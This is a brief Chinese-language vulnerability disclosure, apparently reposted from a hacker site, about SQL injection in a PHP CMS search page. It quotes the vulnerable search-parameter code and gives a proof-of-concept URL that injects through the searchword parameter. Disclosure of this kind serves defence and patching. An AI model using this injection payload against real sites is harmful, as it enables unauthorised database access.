Vul Code:
//搜索詞預處理
$searchword = empty($searchword) ? '' : cutstr(trim($searchword),50,'');
$_da['searchword'] = $searchword;
if($searchword){
$filterstr .= ($filterstr ? '&' : '').'searchword='.rawurlencode(stripslashes($searchword));
}
//預處理搜索模式：標題subject、關鍵詞keywords、內容fulltxt、會員mname
$searchmode = empty($searchmode) ? 'subject' : trim($searchmode);
if(!in_array($searchmode,array('subject','keywords','fulltxt','mname'))) $searchmode = 'subject';
if(!$chid){
$nochids = empty($nochids) ? '' : trim($nochids);
if($nochids){//排除的模型
$_da['nochids'] = $nochids;
$filterstr .= ($filterstr ? '&' : '')."nochids=".$nochids;
$nochids = explode(',',$nochids);
if($nochids) $wherestr .= " AND a.chid ".multi_str($nochids,1);
}
POC:
出現搜索型注入。
http://localhost/search.php?searchmode=subject&searchword=[%]&caid=0&chid=0&ccid4=0&indays=0&orderby=createdate&searchsubmit=1
在searchword這出現問題
by:xiaoCon
本文來源於：凱里黑客 京華志整理